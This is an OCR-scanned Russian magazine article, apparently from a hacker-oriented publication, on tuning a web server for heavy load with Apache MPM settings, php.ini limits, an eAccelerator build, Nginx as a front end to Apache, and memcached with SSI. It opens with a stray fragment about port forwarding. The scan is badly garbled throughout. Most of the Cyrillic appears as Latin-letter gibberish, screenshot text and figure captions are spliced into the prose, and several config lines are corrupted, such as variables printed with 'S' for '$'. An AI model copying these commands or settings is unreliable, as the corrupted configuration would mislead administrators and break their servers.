HecMoTpst Ha BHIGPaHHBIN 7151 CTATHH IPUMEP € TIPO6POCOM ITOPTa BJIO-
KaJIbHYIO CETh, y TexHosoruu DNAT ecTb MHOKECTBO PyTUX IIPUMEHEHUIA,
BKJIFOYAs co3ziaHue 6osiee y06HOTo criocoba J0CTyTia K yAaIeHHOM MalliHe,
06x071 paBwI 6paHAMayspa Win IIpocTo ooMaH. B iroboM cirydae, mpobpoc
[IOPTOB OCTAETCs O4€HD YA0GHOM 1 JIETKOH B pean3aliii U IPUMeHEeHUH
TeXHOJIOTHEN, KOTOpas MOYKET OKa3aThCsl I0IE3HOM B 10601 MOMEHT. 3
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noAaroTABJIMBAEM BEB-CEPBEP K BbICOKUM HATPY3KAM

[TonynapHoCTb Beb-CTpaHuLbl — He TObKO BAaro, HO W I0NOSIHUTEIbHAS FOI0BHas
bonb cncagMmnHa. Bospactag, notok nocetutenen cosnaet 0osbLLUYt0 Harpy3Ky Ha
CepBep, KOTOPbIM CO BpEMEHEM NepecTaeT CNpaBAAThCs CO CBOMMM 0093aHHOC-
TAMUK. B 3TOT MOMEHT BCTaeT BONPOC 0 MOKYMKe Xene3a, KoTopbI, TEM He MeHee,
MOXXHO OTJIOXKMTb 4,0 YULLIMX BpEMEH. V13 3TOI CTaTbl Thl y3HaELLb, Kak 3aCTaBUTb
CepBep BblAepXKMNBaTb HArpy3ki Aake Toraa, Koraa OH 0TKa3blBaeTCs 3T0 AeNaTh.

[NomyssIpHOCTD Be6-CTPaHUI[BI — HE TOIBKO 61aT0, HO M IOTIOTHUTETbHAS
royioBHas1 60JIb chcaMUHa. Bo3pacTast, TOTOK MOCeTUTENEH CO3/IaeT BCe
6OJTBIITYTO HATPY3KY Ha cepBep, KOTOPHIH CO BpeMeHeM ITPOCTO [TepecTaeT
CIIPABJIATHCS CO CBOUMU 005I3aHHOCTSIMU. B 3TOT MOMEHT BCTaeT BOIPOC O IT0-
KyTIKe ’KeJle3a, KOTOPBIH, TeM He MeHee, MOYKHO OTJIOKUTB 10 JIy4IIIHX BpEMeH.
VI3 3T0¥ cTaThU TH y3HAEIIb, KaK 3aCTaBUTh CEPBep BBIIEPXKUBATD HATPY3KHU
Jla)Ke TOT/Ia, KOT/Ia OH OTKA3bIBAETCS 3TO ZIeIaTh.

JloTrycTiM, ThI IMEEIIb B CBOEM PACIIOPsKEHUHN Beb-cepBep, Ha KOTOPOM
KpYTHUTCS 60Jiee-MeHee IocenaeMblii ANHAMITYECKU I Be6-CaiT, CO3JaHHBII
Ha 6a3e ozHoM 13 PHP'iiHEIX CMS. B 06111€M, caMasi TUIYIHASA IS COBPEMEH-
Horo pyHeTa cuTyanus. CaliT pa3BUBaeTCs, PacTeT, IOCETUTeIeH CTAaHOBUTCS
Bce 60JIbIIIE, ¥ THl HAUMHAEIIIb 3aMevaTh [TOCTEIIEHHO BO3PACTAIOIINE 3a/IEPIK-
KU B CKOPOCTH OTIa4¥ KOHTeHTa. [IpocTefiiivie 3aMephl TOKa3bIBAIOT, YTO
cepBep y)Ke He CIIpaBJIAeTCsA C BO3JIOKEHHBIMU Ha HET'0 3a/jla4aMU, U B FOJIOBY
HaYMHAIOT 3aKPaZIbIBaThCs IIOPOYHEIE MBIC/IH O IIOKYTIKeE XKeJle3a (apeHze 60-
Jiee MOIITHOT'O BUPTYaJIbHOTO cepBepa). Ho crienmuTs He CTOUT, B OOJIBITMHCTBE
CJIy4aeB CUTYaIINIO JIETKO OOPATHUTH B CBOO [TOJI3Y.

DTa CcTaThs pacCKaxeT Tebe 0 TOM, KaK OIITUMHU3HUPOBATh CEPBEP U KITUEHT-
CKYIO 4acThb Be6-caiiTa o/ BHICOKYI0 HarpysKy. B xoze o6cy 1eHrs Mbl
3aTPOHEM CJIe/IyoLIye TeMbI:

o Onrrummusanuys Apache;

¢ Orrrumu3anyst PHP;

¢ YcraHoBKa eAccelerator;

¢ YcranoBka Nginx B kauecTBe GppOHT-3HZA;

¢ YeranoBka Memcached;

o KiieHTCKast ONTUMHU3AIA.

ONTUMU3ALIUA APACHE

KopHeBo#t KOMITOHEHT 6OJIBIIHHCTBA COBPEMEHHBIX Be6-CaliTOB— 3TO,
KOHeYHO ke, Apache. OH 3apeKoMeH/[0BaJI ce6s1 Kak Hanbosiee GyHKIMOHAb-
HBI#, CTaOWIBHBIH U yZI00HbIH B ricrionb3oBaHuy HTTP-cepBep, KOTOPHIi
MO’KHO HCIIOJIb30BaTh KaK 711 06C/Iy>KMBaHUA JOMAIlIHel Be6-CTPaHHIIBL,
TaK U IJI BLICOKOHAT PY’KEeHHBIX KOPIOPATUBHBIX UHTEPHET-TIPOeKToB. OfHa
npobema: Apache — o4eHb TsSOKesIoe IPIOKeHHe, XKaJHOe 10 PeCypCoB cep-
Bepa. M 9T0 I0/DKHO OBITh yUITEHO TP €T0 HACTPOFKe. BOT CIIMCOK peKOMeH-
JIALM, KOTOPBIe JIy4IIe BBITOIHATE IIpU oAroroBke HTTP-cepBepa k pabore:
o JIbBuHasA o711 hyHKIMOHANA Apache BeIHeceHa B 3arpyskaeMble MOZYIIY,
KOTOpBIE MOXKHO aKTHBUPOBATh JIU OTKJIFOYUTD ITyTeM PeJAKTUPOBAHUA
kxoHuUrypaumonHoro daitna (qupektrsa LoadModule). Xopoureli mpakTu-

KO AABJIAETCA TOTA/IbHOE OTK/II0UeHNe BCeX HEeHCIIOMb3yeMbIX MOZYIIeH, 4To
TI03BOJIUT IIOBBICUTD IPOM3BOAUTEIBHOCTD CepBepa U COXPAHUTD OIlePaTHB-
HyIO IaMATb.

¢ Apache 06pabaTEIBaeT KX/bIi HOBBII 3aIIPOC B COOCTBEHHOM IIOTOKE
WCTIOJTHEHUA Y [TO3BOJIAET UCIIOIb30BaTh Pa3HBIE OAXO/IbI U1 BHIITOTHEHHSA
aToit onepary. Ecv Thi cobupain Apache2 13 MCXOJHUKOB, TO MOT 3aMETHTh,
YTO B ONIMAX COOPKY IIPUCYTCTBYET BO3MOXKHOCTD BEIOOPA TaK Ha3bIBA€MOTO
MPM. S0 11 ecTh MOAY/Ib MyIbTU-TIpoiieccutra (Multi-processing module),
HCIIOJb3yeMBIH 111 paciiapasutenuBanysa HTTP-cepBepa. Beero ux cyrect-
BYyeT TPH:

1. prefork— kaccraeckuit MPM, peasyromniyii MOZiesTb MyJIbTH-TIPO-
1IECCHHTa, UCTIOIb3yeMyto B Apache 1.3. Kak/iplii TOTOK 06pabaThiBaeTcs B
otzenpHOM npoljecce. He caMblii IPOM3BOAUTEIBHBIN BAPUAHT, HO Haubosee
cTabWIbHBIH. VICTIONb3yeTcs [0 YMOTYaHUIO.

2.worker— MPM, ocHOBaHHBI Ha TOTOKaX. CepBep MOPOXKAAET HECKOJIBKO
TIPOLIECCOB, II0 HECKOJILKO IIOTOKOB B KakZloM. O/IH 3aIIpOC — OJMH IIOTOK.
ITpousBozutenpHee prefork, Ho MeHee cTabuIeH.

3. event— co6prTuiiHbI MPM. BMecTo TOTOKOB 3anipockl 06pabaTeIBaroOTCs,
WCIIO/IB3Ys COOBITUITHYIO MO/IEJIb, TIOXOXKYO Ha Ty, YTO IPUMEHAETCA B NginX.
Hawub6osnee npousBoauTenbHbli MPM, HO 1 HaMeHee CTaO IbHBIN (HAXOAUT-
€A B 9KCIIepIMEHTaIbHON CTaINH Pa3pabOTKIY).

MHorue AucTpUGYTHBEI O3BOJIAIOT YCTAHABIMBATD PA3HbIE BAPUAHTHI
Apache, pazmuaroryecst ucronb3yeMbim MPM, UX JIETKO MOYKHO HaWTH B
PPETo3UTOPHH TI0 3aITpocy «apache2-mpm».

¢ Apache 1103BoJIsIeT KOHTPOJIMPOBATh MAaKCUMAIbHOE KOJIMYECTBO IIOPOXK-
JlaeMBIX ITOTOKOB ¢ ToMolnpio onrmy MaxClients. He cTrouT ycraHaBiIuBaTh
ee 3HaYeHe CTUIIKOM GOJIBIINM, HHAYE B OIpe/ieIeHHbII MOMEHT CepBep
HCYepIIaeT BCIO ONlePaTHBHYIO TAMATh, HAYHET CBOIIUTb, M HEOOCTY)KEHHBIMU
OCTaHyTCS TOPa3zio OOJIbIIIe KITUEHTOB, YeM ObUIO ObI TIPH 3aJaHUH KECTKOTO
orpannyeHys. ONTUMAaIbHBIM CUUTAETCA 3HaYeHNe, paBHOE KOJTUIECTBY
TIaMATH, ZOCTYITHON Apache, mozie/leHHOe Ha MaKCUMAJIbHbIN pa3Mep OPOX-
JIeHHOTO ITOTOKa (TIPOBepAETCH C TOMOIIBIO PS W tOp).

¢ Kak umuorue gpyrue HTTP-cepBepsl, Apache no3BossieT KOHTPOJIPOBATh
JUIITEIbHOCTb YAEp:KaHUs coeZiHe M Tria keep-alive, vcronp3yeMbIx

JUIA TIepe/iadll HeCKOJIBKUX 3aIIPOCOB/OTBETOB B PAMKAX OHOT'O COeIHe-
Hus. Keep-alive 103Bos1sieT 5KOHOMUTb PECYPCHI CEPBEPA, He BEIHYK/as €T0
€o371aBaTh OT/E/IbHBIIM IOTOK Ha KaXyt0 KAPTUHKY, CSS U ITpoune aJleMeHThI
cTpaHuLbl. OZHAKO CIMIIKOM I0JITO TAKOE COeJMHEeHHE IepsKaTh OTKPBITHIM
He CTOMT, IIOTOMY KaK Ha 3TO TOXKe YXOZJAT peCcypchbl. XOPOIIMM 3HaYeHUEM
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omiuu KeepAliveTimeout 6yzeT 5-10 ceKyHz, IpHUYEM, eCJTH BCe 3aBUCUMbIE
KOMITOHEHTBI CTPAHULIBI OTAAIOTCSA KIIMEHTY OTAeIbHBIMU CEPBEPAMU, A TEKY-
Ui cepBEep UCTIOb3yeTcs TOMbKO i oTAaur HTML/PHP, Heo6X0AUMOCTD

noazepxku keep-alive orazaeT BoBce, v 3HayeHue oniuy KeepAlive stywiie
ycraHoButh B Off.

o Apache He mro6UT C3KaTHE. EC/IV THI pEILIIUT YBETUYNUTD CKOPOCTh OTAAYM CTPa-
HHI] CTIOMOIIBIO CKATHA, TO UMEH B BUZLY, UTO, CKOpee BCETo, OHO CO3/[ACT ellie
GoJIbILIYIO HATPY3KY Ha cepBep. ECiti ke cxaTue IeHCTBUTETbHO HEOGXOMMO
(Hanpumep, /1 MOGHIHOT'O TIOPTaJIa, OCHOBHOM IIOTOK KJIEHTOB KOTOPOTO
ucnonb3yeT kaHayu GPRS), To ycraHaBiuBai KO3QHUIHMEHT CKATHA MUHIMAIb-
HBIM, 3TO IPHBE/ET UL K HE3BHAYUTETBHOMY POCTY 00beMa Pe3y/IETUPYOLINX
JJAHHBIX, 3TO II03BOJIUT CyILECTBEHHO COKOHOMHUTB PECYpChI CepBepa.

ONTUMU3ALIUA PHP

3auacTyro HanbosIbIIasg Harpy3ka co3aaetcs BoBce He HTTP-cepBepom, a H-
TepIpeTaTopPOM A3bIKa ITPOrPaMMHUPOBAHNA, UCIIOIb3YEeMOT'0 IS CO3/IaHMA
JIMHAMHYECKOTO COIEPXKUMOT0 Be6-caiita. CerozHs Hauboee mommy/sIpHBIM
A3BIKOM /I CEPBEPHOT'0 BeO-CKPUNTHHTa ABIsieTcst PHP, T09TOMY MIMEHHO
eMy MBI yZIe/TUM BHUMaHue B Halei cratbe. OTKpbiBaeM daiin /etc/php5/
apache2/php.ini (myTs 211 Ubuntu, B APYTUX JUCTPUOYTUBAX MOKET OBITh
WHBIM) ¥ peZJAKTUPYEM CJIeZ[yIOIIHe CTPOKH:

e memory_limit—JIMMUT Ha CbeaeMYIO TP TeHePaIH Be6-CTPAHUIIbI
namATb. [lepes M3MeHeHHeM 3TOro ITapaMeTpa peKOMEH/IyeTCs BBITIOTHNATD
COOTBETCTBYIOII[HE 3aMEPHI M1 OCHOBBIBATh 3HAYEHUE yIKe Ha UX Pe3y/ibTaTax.

e display_errors = Off, error_log = /var/log/php — nepeHanpasisaTs cO06-
eHus 06 ommbkax B log-daiin. Brmouaii 3TOT mapaMeTp TOTZa, KOT/a Bce
CKPHIITHI OyZIy T TOJTHOCTBIO OT/IaXKEHBI.

e upload_max_filesize v post_max_size — MaKkcHMaJIbHBII pa3Mep 3arpyxae-
MbIX daitno u POST-3anpocoB. OIATh e, 3Ha4eHKe JOJDKHO OBITh BHIGPAHO
HCXOZIs M3 IOTPeGHOCTEH TBOETO Be6-TIPHIIOKEHUS.

Teriepb MO)XHO 3aKPbITh (aii1 ¥ BBITIOJIHUTB Iy OOKYIO ONTUMU3ALIMIO C IOMO-
wsto PHP-yckopuress.

YCTAHOBKA EACCELERATOR

PHP — A3BIK HHTEPIIPETUPYEMBIH. DTO 3HAYHT, YTO KOXK/BIN pa3, Korza
TIPOMCXOAWT BBI30B CKPUIITA HA 3TOM A3bIKE, 3aITyckaeTcs PHP-unTepIipe-
TaToOP, KOTOPHBIHM IPOBOAUT IOJIHBIH aHAIN3 UCXOAHOT0 Koza. [TpiaeM, eciu
CITyCTSI CeKyH/y IPOM30M/IeT BTOPOH 3aITyCK TOT'0 XKe CKPUIITa, BCA IIPoLieAypa
OyzieT OBTOpPeHa 3aHOBO. DTO HEPAIMOHAIBHOE UCII0/Ib30BaHUE PECYPCOB,

TI03TOMY Mbl IPYMEHUM HHCTPYMEHT 107, Ha3BaHueM eAccelerator, KOTOPbIi
CKOMITIWIMPYET UCXOAHbIe TeKCTH PHP B IBOMYHOE IpeicTaB/IeHue, OITHMU-
3UpyeT UX U OyZieT 6epeKHO XPaHUTD B OIIePATUBHOM [TaMSATHU 411 60Jiee GBICT-
poro zoctyta. Biarogapst TonbKo 3ToMy cKopocTb 06paboTke PHP-cKpuntos
BBIPACTET B IECATKY Pa3 (MOATBEPKAEHO TeCTaMK).

ITakera eAccelerator HeT B peII03UTOPUAX MOIY/IAPHBIX AUCTPUOYTHBOB,
MIO3TOMY €ro IPUZETCsA coOpaTh CAMOCTOATEIbHO. CHauasIa ycTaHABINBAEM
HeOOXOANMBIE U1 COOPKU YTHJIUTHI:

$ sudo apt-get install php5-dev build-essential
Jlasiee mosygaeM UCXOJHBIE TEKCTHI eAccelerator:

$ cd /tmp/

S wget http://bart.eaccelerator.net/source/0.9.6.1/
eaccelerator-0.9.6.1.tar.bz2

S tar xvjf eaccelerator-0.9.6.1.tar.bz2

$ cd eaccelerator-0.9.6.1

S phpize

$ ./configure --enable-eaccelerator=shared

S make

$ sudo make install
Co3laeM KaTasior JJIst XpaHeH!s KaIIa:

$ sudo mkdir -p /var/cache/eaccelerator
$ sudo chmod 0777 /var/cache/eaccelerator

U, HakoHery, mozikttodaeM eAccelerator k PHP (06aBuTh B Havyasto ¢aiina):

# vi/etc/php5/apache2/php.ini

[PHP]

; HMomkimodaeM pacliMpeHure

extension = "eaccelerator.so"
eaccelerator.enable = "1"

; MakCHMMaIbHEYM pa3Mep OMCKOBOTO K3ma (MO)
eaccelerator.shm size = "64"

; KaTanor ons XpaHeHMs K2Ia

eaccelerator.cache_dir = "/var/cache/eaccelerator"
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11m@]1lm-desktop:~% apt-cache search apache2 | grep mpm

apache2-mpm-event - Apache HTTP Server - event driven model eAccelerator
apache2-mpm-prefork - Apache HTTP Server - traditional non-threaded model
apache2-mpm-worker - Apache HTTP Server - high speed threaded model A RlaF R e R T Vanabled
apache2-mpm-itk - multiuser MPM for Apache 2.2 SACClr O NG 5 snibled
i 1m@j 1m-desktop:~$ I MaEsIoN Big
Caching Enabled true
Apache c paznuyibiMmu MPM-moaynamu B Ubuntu e e
Memory Size 33,554,396 Bytes
se r www- dat a ; Memory Available 33,549,752 Bytes
worker processes 1: Memory Allocated 4,644 Bytes
= ' Cached Scripts 1
. Removed Scripts 0
error_log /var/log/nginx/error.log; Cached Keys 0
pid /var/run/nginx.pid;
events { ;accelerator.Sllowed_admiﬁ _path
eaccelerator.cache_dir Jtmp/ | ftmp/ lerator
worke r...c onnections 1024 ’ eaccelerator.check _mtime 1 1
# multi_accept on; eaccelerator.compress 1 1
} eaccelerator.compress_level L] 9
eaccelerator.debug 1 1
htt p { eaccelerator.enable 1 it
s eaccelerator.filter no value no value
inc'l. Ude‘ /etc/nginx/mlme. types' eaccelerator.log_file no value no value
eaccelerator.name_space ne value no value

access_log /var/log/nginx/access.log;

sendfile on;
#tcp_nopush on;

#keepalive_timeout 0;
keepalive_timeout 65;
tcp nodela on;

/etc/nginx/nginx.conf[RO]
HactpauBaeM Nginx

; BriodaeM OoIITvMMM3aTOop KoIoa
eaccelerator.optimizer = "1"

H IepQKOMHMtMPOE’ Thb MO,HYHI)MLIME)OBE—Z,HEHG CKPUIITH
eaccelerator.check_mtime = "1"

H OTKImoYaeM PexmMM OTJIaIKM

eaccelerator.debug = "0"

; KommpoBaTh BCce ¢annsl (IIycTom OuiIbTP)
eaccelerator.filter = ""

7 Ee()I‘paHV[quEHM pasMep Kola B IIaMATH
eaccelerator.shm max = "0"

; B Cilydae OTCYyTCTBMA MeCTa B K3lle YIaJIATh OOBEKTH cTrapie
1 gaca (3600 cexkyHm)

eaccelerator.shm_ttl = "3600"
eaccelerator.shm_prune_period = "0"

7 KS'HT/[pORaﬁH OaHHBIE U B IIaMATM, M Ha OUCKEe
eaccelerator.shm_only = "0"

; CxyMaThb K3IMPOBAHHBIE OaHHBIE C MAaKCHMMaJIbHEM YODOBHEM KOM

peccun

eaccelerator.compress = "1"

eaccelerator.compress_level = "9"
YCTAHOBKA NGINX

Byzy4u nomysisipHbIM, 60JIBIION JMHAMUYECKUH BeO-CalT MOXXET cO3/jaTh Ta-
Ky HarpysKy Ha cepBep, 4To Apache HauHeT «3ax/1eObIBaThCA U IVIEBATHCS».

|
bajraHcupoBKka

Round robin DNS — oauH 13 caMbIX IPOCTBIX BUZIOB OaTaHCH-
POBKM Harpy3ku. /i ee peaaiu3anuu JOCTATOYHO IPUCBOUTH
IP-agpeca AByxX Wiy Gojiee cepBEpPOB OJHOMY JIOMEHHOMY UMEHH.
OAHaKo, eCTh U CyLIle CTBEHHbII MUHYC: €CJIU OZJFH U3 CEPBEPOB
BBIHZIET U3 CTPOS, YaCTh KJINEHTOB BCE PABHO OyAyT OTIIPaBJIEHBI
K HeMY.

phpinfo() ansa eAccelerator

V1 ies1o TyT jaske He B TOM, UTO 2KeJIe30 He TI03BOJIAIET, a B TSLKeIOBECHOCTH Ca-
moro HTTP-cepBepa. Apache 0T/IMTYHO OAXOAWT /IS OTAAYH JUHAMUIECKOTO
KOHTEHTA, O/JHAKO 6OJIbIIIas YaCTh COBPEMEHHBIX Be6-CTPaHUI] TaK WK HHAYe
COCTOUT U3 CTATUKY, Y KCIIOIb30BaTh /IS MX OTAa4YU MOIIHBIH, CJIOXKHBIN 1
oueHb TsoKestbiit HTTP-cepBep 66110 OB TaK XKe IIYTIO, KaK €3/IUTh Ha BE3/[eX0-
Zie o foporawm IIBefiriapun. Mbl Bocnosib3yeMcs serkosecHbiM HTTP-cepBe-
pom Nginx st pasrpy3ku Apache 1 ero ocBo60xxeHs OT He6IaroapHoro
3aHATHA OTJa49eH CTaTHYEeCKOro KOHTeHTa. B ormane ot Apache, Nginx
WICIIOJIb3yeT COOBITUIHYIO MOZIeIb 06pabOTKY 3aIIPOCOB, 61aroaps 4eMy Ha
J1060€ KOJIMYeCTBO KJIMEHTOB TpebyeTcs Becero oauH nporiecc HTTP-cepsepa.
DTo Cyll[eCTBEHHO CHIDKaeT HarpysKy Ha XKeJle30, HO CO3/jaeT OIlpe/ie/IeHHbIe
Ipo6IeMbl Tpy 06paboTKe AMHAMUYECKOT'0 KOHTEHTa (MMEeHHO [T03TOMY ero
He UCIIOJIb3YIOT B KauecTBe ocHoBHOro HTTP-cepBepa). O6bryHo Nginx ycra-
HaB/IMBAIOT Ha BBIZIEJIEHHYIO MallIKHY, KOTOPasA CMOTPUT BO BHELIHIOKO CETh

U BBICTYTIAET B KAYECTBE [IEPBOr0 YEKIIOMHTA Ha ITyTH CJIeJOBaHNA 3alIpOCOB,
O7IHAaKO JIOITyCTHM 1 BAPHAHT C OAHUM QU3MIECKUM cepBepoM, Korga Apache
u Nginx KpyTaTcsa Ha oAHOU MamrHe. OcTaHOBUMCsA Ha HeM. OTKphIBaeM
¢atin /etc/apache2 /ports.conf v u3aMeHseM BE OIIIUHN:

NameVirtualHost *:81
Listen 81

Jlanee ycranasiauBaem Nginx:
$ sudo apt-get install nginx
OTKpBIBaeM KOHOUIYPALMIOHHBIH (aiil v [UIeM B HETO CIIeIyIolIee:

# vi/etc/nginx/nginx.conf

# Nginx-monb30BaTENb

user www-data;

# KonmdecTBo Nginx-IpolieccoB CTaBVM PaBHBM KOJIUYIECTBY
TIPOLIECCOPHEIX SOep

worker_processes 1;

error_log /var/log/nginx/error.log;

pid /var/run/nginx.pid;

events {

worker_connections 1024;
}
http {
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e Slab Class #1
Chunk | Chunk | Chunk | Chunk | Chunk ass
roa Slab Class #1
Chunk | Chunk | Chunk | Chunk | Chunk e -
Page
Chunk | Chunk | Chuni [ chunk | chuni| chunk StabGlassie
F'a.ga &
Chunk | Chunk l Chunk I Chunk | ChiRi Slab Class

Kauun naMaTu

[INFo

» info
CxaTve MmeTogamu
Gzip n Deflate paznu-

4aeTCs TOSIbKO TeM, YTO
Gzip-ynakoBLmMK 10-
basnsaeT K pesynbTaTy
HeboNbLLOW 3aroN0BOK
1 KOHTPOJIbHYIO CYMMY.

Memcached ucnonbsyetMopynb slab-anno-

# CTaHDapTHHEE HACTPOMKNA

include /etc/nginx/mime.types;
default_type application/octet-stream;
server_names_hash_bucket_size 64;
access_log /var/log/nginx/access.log;
sendfile on;

#tcp_nopush on;

#keepalive_timeout O0;
keepalive_timeout 65;

tcp_nodelay on;

# BrRIIOYaEeM CcxaTue

gzip on;

gzip_proxied any;

gzip_min_length 1100;

gzip_http_version 1.0;

gzip_buffers 4 8k;

gzip_comp_level 9;

gzip_types text/plain text/css application/
x-javascript text/xml application/xml
application/xml+rss text/javascript;

include /etc/nginx/conf.d/*.conf;

include /etc/nginx/sites-enabled/*;

Cozzaem KOHCl)I/Il" Halmero xocra:

# vi/etc/nginx/sites-enabled/host.com
server {

listen 80;

server_name host.com;

access_log /var/log/nginx.access_log;

# Bcio cTaTuky Nginx oTmaeT caMOCTOSATENBHO

location ~* \. (jpgljpeglgifipnglcss|js|zipl
tgzlgzlrar|bz2|doc|xls|exe|pdf |ppt|tar|wav|bm
plrtflswflicolflv|txt|xml|docx|xlsx)s$ {

root /var/www/host.com/;

index index.html index.php;

access_log off;

expires 30d;

}

# DocTymn K dannaM Turia .htaccess zamnpemeH

location ~ /\.ht {

deny all;

}

# Bce 3arpoOCH KO BCeMY OCTAJIbHOMY KOHTEHTY
nepenaeMm Apache

location / {

proxy_pass http://127.0.0.1:81/;

proxy_set_header X-Real-IP Sremote_addr;

proxy_set_header X-Forwarded-for Sremote_

FRONTEND
Nginx web server
STATIC
CONTENT BACKEND
APACHE
]
FASTCGI
—| SRAWNER
DYNAMIC o PROXY/FASTCGI OTHER CGI
CONTENT MODULE | WEB SERVER

CoBMecTHas pa6otaNginxu Apache

addr;
proxy_set_header Host Shost;
proxy_connect_timeout 60;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_redirect off;
proxy_set_header Connection close;
proxy_pass_header Content-Type;
proxy_pass_header Content-Disposition;
proxy_pass_header Content-Length;
}

Bce, nepesarnyckaem Apache n Nginx:

$ sudo service apache2 restart

$ sudo service nginx restart

YCTAHOBKAMEMCACHED

Memcached — cuctema K3IIMpPOBaHNA JaHHBIX B OTIEPATUBHOMN
MaMSTH, KOTOpasi MOKeT ObITh UCIIOIb30BaHa /sl PaCIpe/iesIeH-
HOTO XpaHeHWs U YCKOPEHHs JOCTYTIa K JAHHBIM TF060T0 THIIA.
DTO O/IHO 13 CaMBbIX IIOIYJIIPHBIX PELIEHNH B 06/1aCTH TOTaIbHON
ONTHMHU3ALMH BeO-CcaiiTa /s BBICOKUX Harpy30K, He Tpe6yio-
111ee HaCTPOMKH U josroro usydennst APL. O6braHo memcached
WCIIO/Ib3YeTCs, TaK CKa3aTh, AByMs CTOPOHAMH, O/IHA 13 KOTOPBIX
MoMelaeT JaHHEbIE B K311, a Ipyrasi — U3BJeKaeT. B BeG-cpese
POJIb IIEPBO# CTOPOHBI OOBIYHO UrpaeT HeGosbI0H PHP-cKpHIT,
KOTOPBIi 3aITHChIBAeT BKHbIE (C TOYKH 3pEHNs CKOPOCTH OTAA-
4n) aHHEle B memcached, B To BpeMs Kak BTopasi CTOPOHA — 3TO
06BIYHO JIETKOBECHBIH PPOHT-3H cepBep (KaK ITPaBIiIo, NZinx),
WCIIOJIb3YIOLIMH CIIEIMaTbHBIN MOZYJIb AJIA YTEHUS M OTAA4YN
nmanHbix n3 memcached. Yacto memcached ucnonb3yeTes st
KALIMPOBAHMUSA BCEX CTPAHUL] Be6-caiiTa Ie/IMKoM, b1arozapst
YeMy CKOPOCTb IOCTYIIa K STUM CTPaHHUL}aM BO3pacTaeT Ha He-
CKOJIBKO HOPSIIKOB. B IIpocTelinieM crydae Takas KOHQUryparys
BBIIAZUT CIIEYIONIM 00pa3oM:

1. YcranasnuBaercs memcached:
$ sudo apt-get install memcached

2. B cekupio server KOHGUIyparoHHOTo daiiia nginx
Z06aBIAeTCs IPUMEPHO CIIeAyIolee:

# vi/etc/nginx/nginx.conf
location / {

# VcranasnmBaeM Kiod memcached, paBHBIL 3a-
mpamuBaeMoMy URT

set Smemcached_key Suri;

# Agpec u HOpPT ODeMoHa memcached

memcached_pass 127.0.0.1:11211;
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get async or get sunk

Nginx —ropaocTb oTeyecTBa:)

# 3aToJIOBOK TIO YMOJTYaHMIO

default_type text/html;

# Ecmm IOaHHBIE B K2Ie He na:ﬁnm:u — 3arpammMBaeM Uux y 63K -
DHIOA

error_page 404 = /fallback;

location /fallback {
proxy_pass backend;

3. /st PHP yeranaBivBaeTcs paciiipenne memcache (KmeHT K
memcached):

$ sudo pecl install memcache
4. B CTpaHUIIBI BCTPaUBaeTCA IPUMEPHO TaKOH KOZ;:

$vismaple.php

TLF VHnimanm3anusd memcached OIlyleHa

ob_start () ;

Shtml = ob_get_clean() ;

Smemcache->set (S_SERVER[ 'REQUEST_URI'], Shtml) ;
echo $html;

Bce 3T0 OTIMYHO pabOTAET, HO TOJILKO B OTHOILIEHUH OYEHB IPOCTHIX, TOYTH
CTaTU4eCKUX Beb-caitToB. JleJo B TOM, YTO CTPAaHUIIA He BCEr/a J0/DKHA ObITh
O/IMHAKOBOW U5 BCEX ITOCETHUTeENEN. UTO eCIIV IIaBHAst CTPaHUIIA Oy/IeT 3aKa-
LIMPOBAaHA IIPY BXOZ[E Ha CAIT I'OCTS, a [I0CJIe HETO Ha CAMT IPHU/ET 3aPETHCT-
PUPOBaHHBIH y4aCTHHUK, KOTOPOMY BHOBb IIPE/UIOKAT 3apPErHCTPUPOBATHCS.
Henopszok. OfHAKO eCTh OCTATOYHO ITPOCTOU BBIXO, 13 3TOM CUTYALIHH.
[Tpo6JIeMY MOKET PELIUTh IIOKPHITASI MXOM U [TAy THHOMN TEXHOJIOTHSI IO/
naspanueM SSI (Server Side Includes). SSIno3BossieT pa3buTh Be6-CTpaHUILy
Ha HECKOJIBKO BJI0KOB, KOTOPBIE By/1yT cCOGpaHbI pPOHT-3HAOM BOEJVHO B
MOMeHT 06paboTKY 3arpoca KiveHTa. Harprumep, ucronbayst SSI, Tl AeTiib
[VIaBHYIO CTPaHHUILy Beb-caiiTa Ha [Be YacTu:

#vi /var/www/index.php
<html>
<body>

|
memcached

IIpu HAINYUH ZOCTATOYHO 0OJIBIINX 00'b€MOB ITaMATH XOpOoLIeii
NpaKTHKOI OyaeT 3amyck gemona memcached ¢ psrarom '-L'.

B pe3ysbTaTe IeMOH 3apaHee OATOTOBUT K HCIIOIb30BAHUIO
BCIO BBI/IEJIEHHYIO €My IaMATh. DTO HEMHOTO IIOAHHMET OGLIyI0
IPOU3BOAUTEIBHOCTE paboTel memcached 3a cueT MCKIIOYeHUA
HeO0O0X0AUMOCTH IIPOU3BOAUTE IIOCTOSTHHBIE BhI/Ie/IEHUA NaMATH
BO BpeMsA paGoTHI.

Programing languages
Apache Web Server | piSdl | Sdte

Operating System

Hardware

CnoeHbli nUPOr TUNMYHOTO0 Be6-canTa

<!--# include virtual="/auth.php" -->
<!--# include virtual="/body.php" -->
</body>
</html>

DTO POBHO Ta JKe CTPaHMUIA, KOZ Ay TEHTUPUKAIINK KOTOPOI BEIHECEH B haii
auth.php, a Bcs octanpHas gacts — B body. php. M3roMuHKa e 3aKII09aeTcst
BTOM, YTO IIPUBE/IEHHbI! BBIIIIE B Y€TBEPTOM IIIare Ko7 K3IIMPOBAHUA ThI
TIOMelIaellb TOJIbKO BO BTOPO¥ M3 3THX GaiioB. Kak pe3y/bTaT BHIPHCOBbI-
BaeTcA cleyolas KapTuHa:

1. YestoBEK IPUXOAUT HA CAWT B IIEPBHIH pas. [IponcXoanT 3a1poc IaBHON
CTpaHuIIbI Beb-caiita K nginx.

2. CepBep nginx 3anpaumsaet daiit index.php y 63k-sHza (Apache), Bctpe-
YaeT BHYTPU Hero SSI-AMpeKTHBHI U leJIaeT ellle *2* 3arpoca K 63K-3H1y
(auth.php ubody.php).

3. IlonyuuB 3amnpockl, Apache 3amyckaetT PHP-uHTepripeTaTop 47151 06paboTKu
3arpanrBaeMbIx GailIoB, B pe3ysbTaTe yero (KpoMe BCETo IIPOYEro) COAep-
>kuMoe Tspkesioro datina body.php momazaer B karm memcached.

4. OTBeT BO3BpallaeTcs Nginx, KOTOPhIi 00beAUHAET Gpaiiibl B oAuH index.
php noTraeT ux KIKeHTy.

5.Tlocsie 3TOro Ha CAalT IPUXOAUT 3aPETUCTPUPOBAHHBIHN YYaCTHHK, IIPOMCXO-
